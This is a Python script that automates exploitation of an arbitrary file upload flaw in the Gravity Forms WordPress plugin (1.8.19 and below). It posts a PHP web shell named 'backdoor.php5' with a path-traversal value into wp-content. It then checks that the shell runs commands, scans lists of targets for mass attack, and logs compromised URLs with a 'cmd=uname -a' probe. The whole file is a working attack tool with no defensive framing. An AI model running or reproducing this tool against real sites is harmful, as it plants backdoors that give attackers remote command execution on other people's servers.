#!/usr/bin/python
#############################################################################################################
#                           WordPress Plugin Automated Shell uploading                                      #
#                           Gravity Forms [WP] - Arbitrary File Upload                                      #
#                           Vulnerable Version(s) : 1.8.19 (and below)                                      #
# Source : https://blog.sucuri.net/2015/02/malware-cleanup-to-arbitrary-file-upload-in-gravity-forms.html   #
#                                Author: Nasir khan (r0ot h3x49)                                            #
#############################################################################################################
import os
import sys
import time
import json
import optparse
import urllib.request as urllib2

from pprint import pprint
from colorama import init
from colorama import Fore
from colorama import Style

# Initialize colorama ..
init(autoreset=True, convert=bool(os.name=="nt"))
# foreground color ..
fr  =   Fore.RED
fc  =   Fore.CYAN
fw  =   Fore.WHITE
fg  =   Fore.GREEN
# color style ..
sd  =   Style.DIM
sn  =   Style.NORMAL
sb  =   Style.BRIGHT

def _banner():
    ban = """{}{}+------------------------------------------------------------+
|    _____                 _ _         ______    _ _         | 
|   / ____|               (_) |       |  ____|  | | |        |
|  | |  __ _ __ __ ___   ___| |_ _   _| |__ __ _| | |___     |
|  | | |_ | '__/ _` \ \ / / | __| | | |  __/ _` | | / __|    |
|  | |__| | | | (_| |\ V /| | |_| |_| | | | (_| | | \__ \    |
|   \_____|_|  \__,_| \_/ |_|\__|\__, |_|  \__,_|_|_|___/    |
|                                 __/ |                      |
|                                |___/  - By r0ot@h3x49      |
| ---------------------------------------------------------- |
|               WordPress Plugin Gravity Form                |
|         Gravity Forms [WP] - Arbitrary File Upload         |
|              Version(s) : 1.8.19 (and below)               |
+------------------------------------------------------------+""".format(fc, sb)
    return ban

def _prepare(target):
    if "http://" in target or "https://" in target:
        _url    =   '{}/?gf_page=upload'.format(target)
    else:
        _url    =   'http://{}/?gf_page=upload'.format(target)
    _data   = '<?php system($_GET["cmd"]); ?>&field_id=3&form_id=1&gform_unique_id=../../../../&name=backdoor.php5'
    return _url, _data

def _prepare_verify_url(target):
    if "http://" in target or "https://" in target:
        _url    =   '{}/wp-content/_input_3_backdoor.php5'.format(target)
    else:
        _url    =   'http://{}/wp-content/_input_3_backdoor.php5'.format(target)
    return _url

def _verify(url):
    try:
        resp    =   urllib2.urlopen(url).read()
    except urllib2.HTTPError as e:
        _json_resp  = {"status" : "failed"}
    except urllib2.URLError as e:
        _json_resp  = {"status" : "failed"}
    except KeyboardInterrupt as e:
        sys.stdout.write('\n{}{}[-] User Interrupted\n'.format(fr, sd))
        exit(0)
    else:
        if 'backdoor.php5' in resp:
            _json_resp  = {"status" : "ok"}
        else:
            _json_resp  = {"status" : "failed"}
    return _json_resp

def _exploit(url, payload=None):
    try:
        if payload:
            payload = payload.encode("utf-8")
        resp    =   urllib2.urlopen(url, data=payload)
    except urllib2.HTTPError as e:
        _json_resp  = {"status" : "failed"}
    except urllib2.URLError as e:
        _json_resp  = {"status" : "failed"}
    except KeyboardInterrupt as e:
        sys.stdout.write('\n{}{}[-] User Interrupted\n'.format(fr, sd))
        exit(0)
    else:
        try:
            _json_resp  = json.load(resp)
        except:
            _json_resp  = {"status" : "failed"}
    return _json_resp

def _is_vulnerable(url):
    try:
        resp    =   urllib2.urlopen(url)
    except urllib2.HTTPError as e:
        _json_resp  = {"status" : "failed"}
    except urllib2.URLError as e:
        _json_resp  = {"status" : "failed"}
    except KeyboardInterrupt as e:
        sys.stdout.write('\n{}{}[-] User Interrupted\n'.format(fr, sd))
        exit(0)
    else:
        try:
            _json_resp  = json.load(resp)
        except:
            _json_resp  = {"status" : "failed"}
    return _json_resp


def main():
    banner      =   _banner()
    usage       = '''%prog [-h] [-u "target"] [-t "targets.txt"][-v]'''
    parser      =   optparse.OptionParser(usage=usage,conflict_handler="resolve")

    sys.stdout.write('{}\n\n'.format(banner))
    parser.add_option("-v", "--vuln",dest="vuln", action='store_true',
                      help="Only identify if target is vulnerable.")
    parser.add_option("-u", dest="target", type="string" , \
                      help="Target url to check (e.g:- http://abc.com)")
    parser.add_option("-t",dest="filename", type="string" , \
                      help="File containg list of targets (e.g:- <filename>.txt)")

    (options, args) = parser.parse_args()
    if not options.target and not options.filename:
        parser.print_help()
    elif options.target and not options.filename:
        target      =   options.target
        url, data   =   _prepare(target)
        sys.stdout.write('{}{}[*] {}'.format(fg, sd, target))
        response    =   _is_vulnerable(url)
        status      =   response.get('status')
        if status == 'failed':
            sys.stdout.write('\r\r\r{}{}[*] {:<50} : ({}{}not vulnerable{}{})'.format(fg, sd, target, fw, sb, fg, sd))
            print("")
        elif status == 'error':
            sys.stdout.write('\r\r\r{}{}[*] {:<50} : ({}{}vulnerable{}{})'.format(fg, sd, target, fr, sb, fg, sd))
            print("")
            if options.vuln:
                with open("vulnerable.txt", "a") as f:
                    f.write('{}\n'.format(target))
                f.close()
            else:
                with open("vulnerable.txt", "a") as f:
                    f.write('{}\n'.format(target))
                f.close()
                sys.stdout.write('{}{}[*] trying to exploit '.format(fg, sd))
                response    =   _exploit(url, payload=data)
                status      =   response.get('status')
                if status == 'failed':
                    sys.stdout.write('\r\r\r{}{}[*] {:<50} : ({}{}failed{}{})'.format(fg, sd, "trying to exploit", fr, sb, fg, sd))
                    print("")
                elif status == 'error':
                    sys.stdout.write('\r\r\r{}{}[*] {:<50} : ({}{}failed{}{})'.format(fg, sd, "trying to exploit", fr, sb, fg, sd))
                    print("")
                elif status == 'ok':
                    sys.stdout.write('\r\r\r{}{}[*] {:<50} : ({}{}exploited{}{})'.format(fg, sd, "trying to exploit", fc, sb, fg, sd))
                    print("")
                    sys.stdout.write('{}{}[*] trying to verify '.format(fg, sd))
                    url         =   _prepare_verify_url(target)
                    response    =   _verify(url)
                    status      =   response.get("status")
                    if status == "failed":
                        sys.stdout.write('\r\r\r{}{}[*] {:<50} : ({}{}failed{}{})'.format(fg, sd, "trying to verify", fr, sb, fg, sd))
                    elif status == "ok":
                        sys.stdout.write('\r\r\r{}{}[*] {:<50} : ({}{}successful{}{})'.format(fg, sd, "trying to verify", fg, sb, fg, sd))
                        print("")
                        with open("exploited.txt", "a") as f:
                            f.write('{}?cmd=uname -a\n'.format(url))
                        f.close()
    elif options.filename and not options.target:
        filename    =   options.filename
        f_in        =   open(filename)
        targets     =   set(list(line for line in (l.strip() for l in f_in) if line))
        for target in targets:
            sys.stdout.write('{}{}[*] {}'.format(fg, sd, target))
            url, data   =   _prepare(target)
            response    =   _is_vulnerable(url)
            status      =   response.get('status')
            if status == 'failed':
                sys.stdout.write('\r\r\r{}{}[*] {:<50} : ({}{}not vulnerable{}{})'.format(fg, sd, target, fw, sb, fg, sd))
                print("")
            elif status == 'error':
                sys.stdout.write('\r\r\r{}{}[*] {:<50} : ({}{}vulnerable{}{})'.format(fg, sd, target, fr, sb, fg, sd))
                print("")
                if options.vuln:
                    with open("vulnerable.txt", "a") as f:
                        f.write('{}\n'.format(target))
                    f.close()
                else:
                    with open("vulnerable.txt", "a") as f:
                        f.write('{}\n'.format(target))
                    f.close()
                    sys.stdout.write('{}{}[*] trying to exploit '.format(fg, sd))
                    response    =   _exploit(url, payload=data)
                    status      =   response.get('status')
                    if status == 'failed':
                        sys.stdout.write('\r\r\r{}{}[*] {:<50} : ({}{}failed{}{})'.format(fg, sd, "trying to exploit", fr, sb, fg, sd))
                        print("")
                    elif status == 'error':
                        sys.stdout.write('\r\r\r{}{}[*] {:<50} : ({}{}failed{}{})'.format(fg, sd, "trying to exploit", fr, sb, fg, sd))
                        print("")
                    elif status == 'ok':
                        sys.stdout.write('\r\r\r{}{}[*] {:<50} : ({}{}exploited{}{})'.format(fg, sd, "trying to exploit", fc, sb, fg, sd))
                        print("")
                        sys.stdout.write('{}{}[*] trying to verify '.format(fg, sd))
                        url         =   _prepare_verify_url(target)
                        response    =   _verify(url)
                        status      =   response.get("status")
                        if status == "failed":
                            sys.stdout.write('\r\r\r{}{}[*] {:<50} : ({}{}failed{}{})'.format(fg, sd, "trying to verify", fr, sb, fg, sd))
                        elif status == "ok":
                            sys.stdout.write('\r\r\r{}{}[*] {:<50} : ({}{}successful{}{})'.format(fg, sd, "trying to verify", fg, sb, fg, sd))
                            print("")
                            with open("exploited.txt", "a") as f:
                                f.write('{}?cmd=uname -a\n'.format(url))
                            f.close()
if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        sys.stdout.write('\n{}{}[-] User Interrupted\n'.format(fr, sd))
        exit(0)
